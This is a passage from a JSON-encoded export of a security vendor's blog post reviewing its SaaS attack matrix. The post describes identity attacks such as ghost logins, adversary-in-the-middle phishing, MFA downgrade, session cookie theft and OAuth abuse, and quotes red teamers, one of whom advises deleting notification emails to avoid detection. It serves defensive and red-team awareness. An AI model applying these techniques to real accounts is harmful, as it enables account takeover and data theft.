phishing",{"data":169145,"marks":169146,"value":2717,"nodeType":865},{},[],{"data":169148,"content":169149,"nodeType":889},{"uri":147580},[169150],{"data":169151,"marks":169152,"value":162798,"nodeType":865},{},[169153],{"type":943},{"data":169155,"marks":169156,"value":2717,"nodeType":865},{},[],{"data":169158,"content":169159,"nodeType":889},{"uri":103508},[169160],{"data":169161,"marks":169162,"value":155187,"nodeType":865},{},[169163],{"type":943},{"data":169165,"marks":169166,"value":3476,"nodeType":865},{},[],{"data":169168,"content":169170,"nodeType":889},{"uri":169169},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/guest_access_abuse/description.md",[169171],{"data":169172,"marks":169173,"value":169175,"nodeType":865},{},[169174],{"type":943},"guest access abuse,",{"data":169177,"marks":169178,"value":169179,"nodeType":865},{},[]," all of which are methods of account takeover – complementing the classics like ",{"data":169181,"content":169183,"nodeType":889},{"uri":169182},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/credential_stuffing/description.md",[169184],{"data":169185,"marks":169186,"value":169188,"nodeType":865},{},[169187],{"type":943},"credential stuffing",{"data":169190,"marks":169191,"value":4988,"nodeType":865},{},[],{"data":169193,"content":169195,"nodeType":889},{"uri":169194},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/email_phishing/description.md",[169196],{"data":169197,"marks":169198,"value":169199,"nodeType":865},{},[],"email phishing",{"data":169201,"marks":169202,"value":1615,"nodeType":865},{},[],{"data":169204,"content":169205,"nodeType":866},{},[169206],{"data":169207,"marks":169208,"value":169209,"nodeType":865},{},[],"We’ll spend a bit of time delving into these techniques in the next section, but let’s first consider what this tells us about SaaS attacks. ",{"data":169211,"content":169212,"nodeType":1317},{},[169213],{"data":169214,"marks":169215,"value":169216,"nodeType":865},{},[],"Identity attacks are the leading cause of SaaS breaches",{"data":169218,"content":169219,"nodeType":866},{},[169220],{"data":169221,"marks":169222,"value":169223,"nodeType":865},{},[],"The initial identity attack designed to achieve account takeover is the most important part of the SaaS attack chain. The fact that attackers are focused on finding new ways of compromising identities illustrates the value, but also the fragility of the identity controls that most organizations are relying on (which may also be one of the reasons attackers are fixated on it). Whether we’re talking about anti-phishing protections, conditional access policies, or MFA – attackers are continually finding new ways of getting around them.",{"data":169225,"content":169226,"nodeType":866},{},[169227,169231,169236],{"data":169228,"marks":169229,"value":169230,"nodeType":865},{},[],"And, if all an attacker really needs to do to cause harm is log into an app and abuse its legitimate features and functions, there really is no margin for error – you need to successfully stop the initial identity attack ",{"data":169232,"marks":169233,"value":169235,"nodeType":865},{},[169234],{"type":926},"every time",{"data":169237,"marks":169238,"value":6719,"nodeType":865},{},[],{"data":169240,"content":169241,"nodeType":866},{},[169242,169246,169254],{"data":169243,"marks":169244,"value":169245,"nodeType":865},{},[],"You can’t rely on your endpoint and network controls to catch them later like you used to. Equally, it’s unlikely that your CASB or DLP solution can stop a legitimate app using legitimate features like ",{"data":169247,"content":169248,"nodeType":889},{"uri":145802},[169249],{"data":169250,"marks":169251,"value":169253,"nodeType":865},{},[169252],{"type":943},"API-based workflows",{"data":169255,"marks":169256,"value":169257,"nodeType":865},{},[]," from sending data to attacker-controlled infrastructure. ",{"data":169259,"content":169260,"nodeType":866},{},[169261],{"data":169262,"marks":169263,"value":169264,"nodeType":865},{},[],"It’s a classic case of attackers only needing to win once. And right now, it’s a numbers game that they’re winning enough to keep them coming back for more. ",{"data":169266,"content":169267,"nodeType":972},{},[],{"data":169269,"content":169270,"nodeType":981},{},[169271],{"data":169272,"marks":169273,"value":169274,"nodeType":865},{},[],"Most wanted: Techniques gaining notoriety in the wild",{"data":169276,"content":169277,"nodeType":866},{},[169278],{"data":169279,"marks":169280,"value":169281,"nodeType":865},{},[],"Let’s take a closer look at some of the techniques we’ve seen rise to prominence in 2023/4. ",{"data":169283,"content":169284,"nodeType":1317},{},[169285],{"data":169286,"marks":169287,"value":395,"nodeType":865},{},[],{"data":169289,"content":169290,"nodeType":866},{},[169291,169294,169301],{"data":169292,"marks":169293,"value":21,"nodeType":865},{},[],{"data":169295,"content":169296,"nodeType":889},{"uri":53259},[169297],{"data":169298,"marks":169299,"value":395,"nodeType":865},{},[169300],{"type":943},{"data":169302,"marks":169303,"value":169304,"nodeType":865},{},[]," is a technique that exploits the fact that SaaS user accounts often enable multiple simultaneous logins using different sign-in methods. ",{"data":169306,"content":169307,"nodeType":866},{},[169308,169312,169317,169320,169325],{"data":169309,"marks":169310,"value":169311,"nodeType":865},{},[],"Ghost logins can be used for both the ",{"data":169313,"marks":169314,"value":169316,"nodeType":865},{},[169315],{"type":926},"initial access",{"data":169318,"marks":169319,"value":4988,"nodeType":865},{},[],{"data":169321,"marks":169322,"value":169324,"nodeType":865},{},[169323],{"type":926},"persistence",{"data":169326,"marks":169327,"value":169328,"nodeType":865},{},[]," stages of a cyber attack, doubling up as a defense evasion technique because of low login method visibility.",{"data":169330,"content":169331,"nodeType":866},{},[169332],{"data":169333,"marks":169334,"value":169335,"nodeType":865},{},[],"For initial access, the technique exploits the fact that local and SSO logins can exist simultaneously. Given that many apps are self-adopted by users, it’s likely that many users will default to a local username and password login at this stage. If the app is later adopted companywide and brought into SSO, the original local login will continue to exist unless explicitly disabled or deleted. ",{"data":169337,"content":169338,"nodeType":866},{},[169339],{"data":169340,"marks":169341,"value":169342,"nodeType":865},{},[],"Because MFA is applied at the app and IdP level independently, it is possible to end up with an SSO login that requires MFA (via the IdP login), but a local login that does not. This creates an easy target identity for attackers to look for. When combined with other identity vulnerabilities such as weak, breached, and/or reused passwords, attackers can easily automate ghost login discovery and exploitation at scale.  ",{"data":169344,"content":169345,"nodeType":866},{},[169346,169350,169358,169362,169371],{"data":169347,"marks":169348,"value":169349,"nodeType":865},{},[],"We saw the impact of ghost logins for initial access with ",{"data":169351,"content":169352,"nodeType":889},{"uri":13054},[169353],{"data":169354,"marks":169355,"value":169357,"nodeType":865},{},[169356],{"type":943},"the recent ShinyHunters campaign against Snowflake customers",{"data":169359,"marks":169360,"value":169361,"nodeType":865},{},[],". Because Snowflake accounts did not require mandatory MFA for accounts, or give admins the ability to enforce MFA by default, attackers were able to find and exploit a large number of Snowflake accounts using breached credentials from historical data breach dumps. Much of the industry response focused on ensuring SSO and MFA were deployed, but ",{"data":169363,"content":169365,"nodeType":889},{"uri":169364},"https://pushsecurity.com/resources/video/demonstrating-ghost-logins-in-snowflake-and-how-to-remediate-them/",[169366],{"data":169367,"marks":169368,"value":169370,"nodeType":865},{},[169369],{"type":943},"the practicalities of gathering data and manually unsetting local passwords in Snowflake",{"data":169372,"marks":169373,"value":169374,"nodeType":865},{},[]," meant that ghost logins were easy to overlook by organizations responding to the attacks.   ",{"data":169376,"content":169377,"nodeType":866},{},[169378,169382,169390,169394,169402],{"data":169379,"marks":169380,"value":169381,"nodeType":865},{},[],"Ghost logins can also be created after an attacker has established access to an app. For example, if a social login is used to access an account, an adversary may be able to configure a separate username/password login, or even (though much less commonly) connect a second social account that the adversary controls. If the account has sufficient privileges, it may also be possible to ",{"data":169383,"content":169384,"nodeType":889},{"uri":105882},[169385],{"data":169386,"marks":169387,"value":169389,"nodeType":865},{},[169388],{"type":943},"set up or change the SAML login settings to inject a malicious URL",{"data":169391,"marks":169392,"value":169393,"nodeType":865},{},[]," (for example to an attacker controlled tenant) or simply ",{"data":169395,"content":169396,"nodeType":889},{"uri":101210},[169397],{"data":169398,"marks":169399,"value":169401,"nodeType":865},{},[169400],{"type":943},"configure API access",{"data":169403,"marks":169404,"value":169405,"nodeType":865},{},[]," to forgo the need to log in entirely. ",{"data":169407,"content":169408,"nodeType":1317},{},[169409],{"data":169410,"marks":169411,"value":169412,"nodeType":865},{},[],"AitM phishing ",{"data":169414,"content":169415,"nodeType":866},{},[169416,169419,169427],{"data":169417,"marks":169418,"value":21,"nodeType":865},{},[],{"data":169420,"content":169421,"nodeType":889},{"uri":147552},[169422],{"data":169423,"marks":169424,"value":169426,"nodeType":865},{},[169425],{"type":943},"Adversary-in-the-Middle (AitM) phishing",{"data":169428,"marks":169429,"value":169430,"nodeType":865},{},[]," is a newer variant of phishing that uses dedicated tooling to act as a web proxy between the victim and a legitimate login portal for an application the victim has access to, principally to make it easier to defeat MFA protection (with the victim responding to the MFA request as part of the attack).",{"data":169432,"content":169433,"nodeType":866},{},[169434],{"data":169435,"marks":169436,"value":169437,"nodeType":865},{},[],"As it’s a proxy to the real application, the page will appear exactly as the user expects, because they are logging into the legitimate site – just taking a detour via the attacker’s device. For example, if accessing their webmail, the user will see all their real emails; if accessing their cloud file store then all their real files will be present, etc. ",{"data":169439,"content":169440,"nodeType":866},{},[169441],{"data":169442,"marks":169443,"value":169444,"nodeType":865},{},[],"This gives AitM an increased sense of authenticity and makes the compromise less obvious to the user. Because the attacker is sitting in the middle of this connection, they are able to observe all interactions and take control of the authenticated session. ",{"data":169446,"content":169447,"nodeType":866},{},[169448],{"data":169449,"marks":169450,"value":169451,"nodeType":865},{},[],"Alongside AitM phishing is Browser-in-the-Middle (BitM), really a form of sub-technique. Rather than act as a reverse web proxy, this technique tricks a target into directly controlling the attacker’s own browser remotely using desktop screen sharing and control approaches (such as VNC and RDP). ",{"data":169453,"content":169454,"nodeType":866},{},[169455],{"data":169456,"marks":169457,"value":169459,"nodeType":865},{},[169458],{"type":926},"This is the virtual equivalent of an attacker handing their laptop to their victim, asking them to login to Okta for them, and then taking their laptop back afterwards.",{"data":169461,"content":169462,"nodeType":866},{},[169463],{"data":169464,"marks":169465,"value":169466,"nodeType":865},{},[],"A growing majority of modern phishing attacks typically leverage AitM or BitM tooling – they are now the standard choice for threat actors, offering the ability to bypass MFA without any real tradeoff. ",{"data":169468,"content":169469,"nodeType":866},{},[169470,169474,169482,169485,169493],{"data":169471,"marks":169472,"value":169473,"nodeType":865},{},[],"For more information you can ",{"data":169475,"content":169476,"nodeType":889},{"uri":54386},[169477],{"data":169478,"marks":169479,"value":169481,"nodeType":865},{},[169480],{"type":943},"read our recent blog post",{"data":169483,"marks":169484,"value":53880,"nodeType":865},{},[],{"data":169486,"content":169487,"nodeType":889},{"uri":168332},[169488],{"data":169489,"marks":169490,"value":169492,"nodeType":865},{},[169491],{"type":943},"watch our on-demand webinar on Phishing 2.0 to see AitM and BitM tools like Evilginx and EvilnoVNC in action",{"data":169494,"marks":169495,"value":14251,"nodeType":865},{},[],{"data":169497,"content":169498,"nodeType":1317},{},[169499],{"data":169500,"marks":169501,"value":333,"nodeType":865},{},[],{"data":169503,"content":169504,"nodeType":866},{},[169505,169508,169515],{"data":169506,"marks":169507,"value":21,"nodeType":865},{},[],{"data":169509,"content":169510,"nodeType":889},{"uri":169182},[169511],{"data":169512,"marks":169513,"value":333,"nodeType":865},{},[169514],{"type":943},{"data":169516,"marks":169517,"value":169518,"nodeType":865},{},[]," attacks continue to pose a risk to organizations. Despite the fact that MFA has now become an expected control, accounts without MFA continue to be hacked as a result of using weak, reused, and/or previously breached credentials. ",{"data":169520,"content":169521,"nodeType":866},{},[169522,169526,169534,169538,169547],{"data":169523,"marks":169524,"value":169525,"nodeType":865},{},[],"Credential stuffing is being fed by an increase in the number of ",{"data":169527,"content":169529,"nodeType":889},{"uri":169528},"https://pushsecurity.com/blog/what-the-rise-of-infostealers-says-about-identity-attacks/?utm_source=ebook&utm_medium=organic",[169530],{"data":169531,"marks":169532,"value":423,"nodeType":865},{},[169533],{"type":943},{"data":169535,"marks":169536,"value":169537,"nodeType":865},{},[]," attacks designed to harvest credentials to be sold on criminal marketplaces. Infostealers have been boosted by the success of the Snowflake attacks (",{"data":169539,"content":169541,"nodeType":889},{"uri":169540},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-snowflake-june-2024?utm_source=ebook&utm_medium=organic",[169542],{"data":169543,"marks":169544,"value":169546,"nodeType":865},{},[169545],{"type":943},"where 80% of the credentials used to access accounts could be traced back to infostealer infections dating back to 2020",{"data":169548,"marks":169549,"value":37929,"nodeType":865},{},[],{"data":169551,"content":169552,"nodeType":1317},{},[169553],{"data":169554,"marks":169555,"value":169556,"nodeType":865},{},[],"Session cookie theft",{"data":169558,"content":169559,"nodeType":866},{},[169560,169563,169571],{"data":169561,"marks":169562,"value":101025,"nodeType":865},{},[],{"data":169564,"content":169565,"nodeType":889},{"uri":147580},[169566],{"data":169567,"marks":169568,"value":169570,"nodeType":865},{},[169569],{"type":943},"targeting session cookies",{"data":169572,"marks":169573,"value":169574,"nodeType":865},{},[]," to be able to hijack live user sessions as a means of getting around MFA. Although session cookies are predominantly stolen via infostealers, techniques like AitM and BitM phishing described above are also methods of stealing session cookies and hijacking sessions.",{"data":169576,"content":169577,"nodeType":866},{},[169578],{"data":169579,"marks":169580,"value":169581,"nodeType":865},{},[],"While the majority of infostealer data dumps result in credential stuffing attacks rather than session hijacking, as the infostealer marketplace continues to heat up, it’s likely that more instances of session cookie theft will be the cause of breaches going forward. ",{"data":169583,"content":169584,"nodeType":1317},{},[169585],{"data":169586,"marks":169587,"value":147530,"nodeType":865},{},[],{"data":169589,"content":169590,"nodeType":866},{},[169591,169595,169602],{"data":169592,"marks":169593,"value":169594,"nodeType":865},{},[],"While many organizations are waking up to the fact that it’s not enough to have any old MFA method, it’s still often overlooked that you need to actually remove or disable the phishable methods. Otherwise, in many cases they remain valid, opening affected identities up to ",{"data":169596,"content":169597,"nodeType":889},{"uri":103508},[169598],{"data":169599,"marks":169600,"value":147530,"nodeType":865},{},[169601],{"type":943},{"data":169603,"marks":169604,"value":169605,"nodeType":865},{},[]," attacks. ",{"data":169607,"content":169608,"nodeType":866},{},[169609],{"data":169610,"marks":169611,"value":169612,"nodeType":865},{},[],"Just because a user has a phishing-resistant factor setup (such as passkeys) and may use them by default, it does not mean they are necessarily enforced. Often, services support the use of multiple authentication options, particularly for second factors. In particular, passkeys are device-bound and so enforcing their use prevents logins from other devices and can cause recovery issues in a lost/broken device scenario. Therefore, it’s common for the default case to be that passkey authentication is optional, rather than required.",{"data":169614,"content":169615,"nodeType":866},{},[169616],{"data":169617,"marks":169618,"value":169619,"nodeType":865},{},[],"When used in combination with AitM phishing tools, it’s possible for attackers to modify requests/responses so as to prevent the ability of passkeys to be selected as a login option and prompting the user to use vulnerable factors, such as passwords, TOTPs and push notifications instead. Since the server-side supports other authentication options, if the user continues and enters one of these alternative factors then their authenticated session will be compromised – despite the fact they usually use phishing-resistant MFA methods like passkeys or similar.",{"data":169621,"content":169622,"nodeType":972},{},[],{"data":169624,"content":169625,"nodeType":981},{},[169626],{"data":169627,"marks":169628,"value":169629,"nodeType":865},{},[],"Use case inspo: How red teamers are using the SaaS attack matrix",{"data":169631,"content":169632,"nodeType":866},{},[169633],{"data":169634,"marks":169635,"value":169636,"nodeType":865},{},[],"The techniques that advanced red teams are using to (ethically) hack into their clients are always a good indicator of what direction hackers in the real world are headed.  ",{"data":169638,"content":169639,"nodeType":866},{},[169640],{"data":169641,"marks":169642,"value":169643,"nodeType":865},{},[],"We spoke to a few of the best red teams around to see how they are using the matrix: Let’s see what they had to say. ",{"data":169645,"content":169646,"nodeType":972},{},[],{"data":169648,"content":169649,"nodeType":1317},{},[169650],{"data":169651,"marks":169652,"value":169653,"nodeType":865},{},[],"Rob Maslen | Managing Principal Consultant | MDSec",{"data":169655,"content":169656,"nodeType":866},{},[169657],{"data":169658,"marks":169659,"value":169660,"nodeType":865},{},[],"“We use the matrix throughout our engagements: When scoping and proposing projects to clients, during testing to assist our consultants in successfully utilizing novel SaaS-attack techniques, and for reporting to provide a common language across the vendors that they work with. ",{"data":169662,"content":169663,"nodeType":866},{},[169664],{"data":169665,"marks":169666,"value":169667,"nodeType":865},{},[],"It’s been most useful to us when performing engagements on more modern Zero Trust Environments where macOS is predominantly the Operating System of choice. The objectives tend to be either access to critical applications that reside within the cloud and require the compromise of SaaS credentials, or to gain privileged access to a SaaS application. Whilst resources like the MITRE ATT&CK Framework can help to describe the techniques that have been used against a more traditional environment, the SaaS Matrix aids with performing and describing attacks against a more modern infrastructure.  ",{"data":169669,"content":169670,"nodeType":866},{},[169671,169675,169683],{"data":169672,"marks":169673,"value":169674,"nodeType":865},{},[],"The technique we’ve seen most success with, across both traditional Active Directory attacks and more modern Zero Trust Environments, is ",{"data":169676,"content":169677,"nodeType":889},{"uri":147580},[169678],{"data":169679,"marks":169680,"value":169682,"nodeType":865},{},[169681],{"type":943},"Session Cookie Theft",{"data":169684,"marks":169685,"value":169686,"nodeType":865},{},[],". The protection of browser cookies (for inexplicable reasons) has had less engineering attention than it should have, opening up opportunities for lateral movement using session cookies, credentials, or API keys recovered from a host becomes a key technique. In our experience defensive tooling has yet to catch up with this threat. ",{"data":169688,"content":169689,"nodeType":866},{},[169690,169694,169703,169706,169715,169718,169727,169730,169737,169740,169747,169750,169758,169761,169768,169771,169780,169783,169790,169794,169803,169806,169815],{"data":169691,"marks":169692,"value":169693,"nodeType":865},{},[],"We’ve also seen success with various techniques across Kill Chain stages, including ",{"data":169695,"content":169697,"nodeType":889},{"uri":169696},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/subdomain_tenant_discovery/description.md",[169698],{"data":169699,"marks":169700,"value":169702,"nodeType":865},{},[169701],{"type":943},"Subdomain tenant discovery",{"data":169704,"marks":169705,"value":2717,"nodeType":865},{},[],{"data":169707,"content":169709,"nodeType":889},{"uri":169708},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/dns_reconnaissance/description.md",[169710],{"data":169711,"marks":169712,"value":169714,"nodeType":865},{},[169713],{"type":943},"DNS reconnaissance",{"data":169716,"marks":169717,"value":2717,"nodeType":865},{},[],{"data":169719,"content":169721,"nodeType":889},{"uri":169720},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/username_enumeration/description.md",[169722],{"data":169723,"marks":169724,"value":169726,"nodeType":865},{},[169725],{"type":943},"username enumeration",{"data":169728,"marks":169729,"value":2717,"nodeType":865},{},[],{"data":169731,"content":169732,"nodeType":889},{"uri":56197},[169733],{"data":169734,"marks":169735,"value":66867,"nodeType":865},{},[169736],{"type":943},{"data":169738,"marks":169739,"value":2717,"nodeType":865},{},[],{"data":169741,"content":169742,"nodeType":889},{"uri":8450},[169743],{"data":169744,"marks":169745,"value":8061,"nodeType":865},{},[169746],{"type":943},{"data":169748,"marks":169749,"value":2717,"nodeType":865},{},[],{"data":169751,"content":169752,"nodeType":889},{"uri":169169},[169753],{"data":169754,"marks":169755,"value":169757,"nodeType":865},{},[169756],{"type":943},"guest access abuse",{"data":169759,"marks":169760,"value":2717,"nodeType":865},{},[],{"data":169762,"content":169763,"nodeType":889},{"uri":145802},[169764],{"data":169765,"marks":169766,"value":145808,"nodeType":865},{},[169767],{"type":943},{"data":169769,"marks":169770,"value":2717,"nodeType":865},{},[],{"data":169772,"content":169774,"nodeType":889},{"uri":169773},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/oauth_tokens/description.md",[169775],{"data":169776,"marks":169777,"value":169779,"nodeType":865},{},[169778],{"type":943},"OAuth tokens",{"data":169781,"marks":169782,"value":2717,"nodeType":865},{},[],{"data":169784,"content":169785,"nodeType":889},{"uri":101210},[169786],{"data":169787,"marks":169788,"value":101216,"nodeType":865},{},[169789],{"type":943},{"data":169791,"marks":169792,"value":169793,"nodeType":865},{},[]," (as long as you ensure the target isn't notified – make sure you delete the notification of creation email!), ",{"data":169795,"content":169797,"nodeType":889},{"uri":169796},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/api_secret_theft/description.md",[169798],{"data":169799,"marks":169800,"value":169802,"nodeType":865},{},[169801],{"type":943},"API secret theft",{"data":169804,"marks":169805,"value":3476,"nodeType":865},{},[],{"data":169807,"content":169809,"nodeType":889},{"uri":169808},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/link_backdooring/description.md",[169810],{"data":169811,"marks":169812,"value":169814,"nodeType":865},{},[169813],{"type":943},"link backdooring",{"data":169816,"marks":169817,"value":14251,"nodeType":865},{},[],{"data":169819,"content":169820,"nodeType":866},{},[169821],{"data":169822,"marks":169823,"value":169824,"nodeType":865},{},[],"Embracing the modern Zero Trust architecture with its greater SaaS usage does not come without security risks, and while it does invalidate a large number of the attacks that can be performed within an AD environment, the SaaS attack matrix is a great way of illustrating how these attacks work, as well as helping red and blue teams respectively to simulate and defend against them.\" ",{"data":169826,"content":169827,"nodeType":972},{},[],{"data":169829,"content":169830,"nodeType":1317},{},[169831],{"data":169832,"marks":169833,"value":169834,"nodeType":865},{},[],"Tom Ellson | Head of Offensive Security | Stripe OLT",{"data":169836,"content":169837,"nodeType":866},{},[169838],{"data":169839,"marks":169840,"value":169841,"nodeType":865},{},[],"“We've used the SaaS attack matrix across several cloud-native engagements, for both initial access and lateral movement. My go-to techniques so far have been:",{"data":169843,"content":169844,"nodeType":1616},{},[169845,169872,169894,169916],{"data":169846,"content":169847,"nodeType":1570},{},[169848],{"data":169849,"content":169850,"nodeType":866},{},[169851,169854,169864,169868],{"data":169852,"marks":169853,"value":21,"nodeType":865},{},[],{"data":169855,"content":169857,"nodeType":889},{"uri":169856},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/im_phishing/description.md",[169858],{"data":169859,"marks":169860,"value":169863,"nodeType":865},{},[169861,169862],{"type":943},{"type":926},"IM phishing:",{"data":169865,"marks":169866,"value":2688,"nodeType":865},{},[169867],{"type":926},{"data":169869,"marks":169870,"value":169871,"nodeType":865},{},[],"Phishing via Microsoft Teams in particular has been highly successful, especially when paired with a number of abusable “features” (working as intended, clearly). ",{"data":169873,"content":169874,"nodeType":1570},{},[169875],{"data":169876,"content":169877,"nodeType":866},{},[169878,169881,169890],{"data":169879,"marks":169880,"value":21,"nodeType":865},{},[],{"data":169882,"content":169883,"nodeType":889},{"uri":8450},[169884],{"data":169885,"marks":169886,"value":169889,"nodeType":865},{},[169887,169888],{"type":943},{"type":926},"Device code phishing:",{"data":169891,"marks":169892,"value":169893,"nodeType":865},{},[]," We use this for both initial access and persistence. It’s a great way of getting around MFA by tricking the victim into following the device approval process for our device, but using their device. ",{"data":169895,"content":169896,"nodeType":1570},{},[169897],{"data":169898,"content":169899,"nodeType":866},{},[169900,169903,169912],{"data":169901,"marks":169902,"value":21,"nodeType":865},{},[],{"data":169904,"content":169905,"nodeType":889},{"uri":147552},[169906],{"data":169907,"marks":169908,"value":169911,"nodeType":865},{},[169909,169910],{"type":943},{"type":926},"AitM phishing:",{"data":169913,"marks":169914,"value":169915,"nodeType":865},{},[]," This is now a staple for credential harvesting. Better security controls force us to abuse other avenues to bypass conditional access policies, such as extraction of the PRT token from the end user device, thus granting us claimed access, which can be achieved using AitM and BitM techniques.",{"data":169917,"content":169918,"nodeType":1570},{},[169919],{"data":169920,"content":169921,"nodeType":866},{},[169922,169925,169935,169939],{"data":169923,"marks":169924,"value":21,"nodeType":865},{},[],{"data":169926,"content":169928,"nodeType":889},{"uri":169927},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/oauth_token_enumeration/description.md",[169929],{"data":169930,"marks":169931,"value":169934,"nodeType":865},{},[169932,169933],{"type":943},{"type":926},"OAuth token enumeration:",{"data":169936,"marks":169937,"value":2688,"nodeType":865},{},[169938],{"type":926},{"data":169940,"marks":169941,"value":169942,"nodeType":865},{},[],"Once an account has been compromised, the Myapps portal is commonly used to validate the accessible applications and further target downstream apps to access data and functionality. ",{"data":169944,"content":169945,"nodeType":866},{},[169946],{"data":169947,"marks":169948,"value":169949,"nodeType":865},{},[],"We’re usually targeting M365 environments but have still found these attack techniques to be highly effective. In some cases, we’ve leveraged other SaaS applications such as abusing in-app phishing via GitHub to compromise development pipelines. The matrix is particularly useful as a playbook of further attacks once initial access has been established. Even just the awareness of how to pivot from SaaS to SaaS (and sometimes back to Microsoft or Google) is really eye-opening for red teams, and adds a new dimension to the security testing that our clients are used to experiencing. ",{"data":169951,"content":169952,"nodeType":866},{},[169953],{"data":169954,"marks":169955,"value":169956,"nodeType":865},{},[],"Because of the success of using these methods, we’ve now incorporated the SaaS attack matrix techniques into our purple teaming methodology to ensure that our clients can build awareness of their detection visibility gaps when it comes to identity attacks, and are routinely benchmarked against them.”  ",{"data":169958,"content":169959,"nodeType":972},{},[],{"data":169961,"content":169962,"nodeType":1317},{},[169963],{"data":169964,"marks":169965,"value":169966,"nodeType":865},{},[],"Max Corbridge | Head of Adversarial Simulation | JUMPSEC",{"data":169968,"content":169969,"nodeType":866},{},[169970],{"data":169971,"marks":169972,"value":169973,"nodeType":865},{},[],"“I’ve been a big fan of the matrix from day one. We use it for two main purposes – as a catalog of TTPs to apply during threat modeling exercises with cloud-native clients, and as a guide for how to apply novel TTPs to different apps and situations. The wiki descriptions, video demonstrations and references help enormously with this. ",{"data":169975,"content":169976,"nodeType":866},{},[169977,169981,169989,169992,169999,170002,170011,170014,170021],{"data":169978,"marks":169979,"value":169980,"nodeType":865},{},[],"We’ve mostly relied on ",{"data":169982,"content":169983,"nodeType":889},{"uri":169856},[169984],{"data":169985,"marks":169986,"value":169988,"nodeType":865},{},[169987],{"type":943},"IM phishing",{"data":169990,"marks":169991,"value":2717,"nodeType":865},{},[],{"data":169993,"content":169994,"nodeType":889},{"uri":147552},[169995],{"data":169996,"marks":169997,"value":169143,"nodeType":865},{},[169998],{"type":943},{"data":170000,"marks":170001,"value":2717,"nodeType":865},{},[],{"data":170003,"content":170005,"nodeType":889},{"uri":170004},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/abuse_existing_oauth_integrations/description.md",[170006],{"data":170007,"marks":170008,"value":170010,"nodeType":865},{},[170009],{"type":943},"abusing OAuth integrations",{"data":170012,"marks":170013,"value":3476,"nodeType":865},{},[],{"data":170015,"content":170016,"nodeType":889},{"uri":105869},[170017],{"data":170018,"marks":170019,"value":105875,"nodeType":865},{},[170020],{"type":943},{"data":170022,"marks":170023,"value":170024,"nodeType":865},{},[],". In one recent engagement, we were able to compromise a cloud identity with limited permissions in the target Azure environment. We were able to enumerate additional OAuth integrations to laterally move to a third-party IT Service Management SaaS application, which presented a much easier target to elevate privileges. We actually ended up finding a number of 0-days in the application, which we then used as a trusted platform to launch a covert spear-phishing campaign against specific high-privilege users, communicating back-and-forth as though we were a genuine support team, and hiding risky changes to cover our tracks. Ultimately we were able to pivot back into the target Azure estate, but now with administrative privileges. ",{"data":170026,"content":170027,"nodeType":866},{},[170028],{"data":170029,"marks":170030,"value":170031,"nodeType":865},{},[],"This really shows how third-party identities and apps are often the soft underbelly for a lot of otherwise pretty secure orgs that we work with, and we’re enjoying the challenge of finding new ways of getting to the crown jewels. ",{"data":170033,"content":170034,"nodeType":866},{},[170035],{"data":170036,"marks":170037,"value":170038,"nodeType":865},{},[],"In my eyes the world of cloud and SaaS-native attack techniques is under-researched for how increasingly relevant it is becoming. Many of the older TTPs and tradecraft are no longer relevant in a cloud-native world, and even when the techniques are consistent with the ways we used to target networks and endpoints, the context and how it actually works is completely different. So, resources like the SaaS attack matrix will continue to be needed for both offensive and defensive security practitioners going forwards”.",{"data":170040,"content":170041,"nodeType":972},{},[],{"data":170043,"content":170044,"nodeType":981},{},[170045],{"data":170046,"marks":170047,"value":116385,"nodeType":865},{},[],{"data":170049,"content":170050,"nodeType":866},{},[170051],{"data":170052,"marks":170053,"value":170054,"nodeType":865},{},[],"Hopefully you're now feeling inspired to get involved and start applying the SaaS attack matrix yourself. And if you’ve been using the matrix and want to share your experience with us, we’d love to hear from you. ",{"data":170056,"content":170057,"nodeType":866},{},[170058,170062,170069],{"data":170059,"marks":170060,"value":170061,"nodeType":865},{},[],"We hope to see your comments, discussions, or PRs on ",{"data":170063,"content":170064,"nodeType":889},{"uri":13171},[170065],{"data":170066,"marks":170067,"value":11198,"nodeType":865},{},[170068],{"type":943},{"data":170070,"marks":170071,"value":170072,"nodeType":865},{},[],"!",{"data":170074,"content":170075,"nodeType":866},{},[170076,170080,170089],{"data":170077,"marks":170078,"value":170079,"nodeType":865},{},[],"If this has piqued your interest, we’ve just released a 2024 edition of our SaaS attacks report: ",{"data":170081,"content":170083,"nodeType":889},{"uri":170082},"https://pushsecurity.com/resources/book/saas-attacks-report/",[170084],{"data":170085,"marks":170086,"value":170088,"nodeType":865},{},[170087],{"type":943},"get your copy here",{"data":170090,"marks":170091,"value":14251,"nodeType":865},{},[],{"data":170093,"content":170097,"nodeType":912},{"target":170094},{"sys":170095},{"id":170096,"type":909,"linkType":910},"J11G6XCdDAYu0GQbKGCnm",[],{"data":170099,"content":170100,"nodeType":866},{},[170101],{"data":170102,"marks":170103,"value":21,"nodeType":865},{},[],"The SaaS attack matrix: A year in review","It’s been almost exactly a year since we released our open source repository of SaaS-native attack techniques. Let's reflect on what’s changed. ","2024-08-27T00:00:00.000Z","the-saas-attack-matrix-one-year-on",{"items":170109},[170110,170112],{"sys":170111,"name":7796},{"id":7795},{"sys":170113,"name":342},{"id":4642},{"items":170115},[170116],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":170117},{"url":7804},"blog/shifting-detection-left-for-more-effective-threat-detection",{"json":170120},{"data":170121,"content":170122,"nodeType":1382},{},[170123],{"data":170124,"content":170125,"nodeType":866},{},[170126],{"data":170127,"marks":170128,"value":170129,"nodeType":865},{},[],"This is the second blog in our series looking at the ‘why’ behind the ‘what’ at Push. In this entry, we’re exploring the idea of shifting detection and response left in the face of modern attacks. 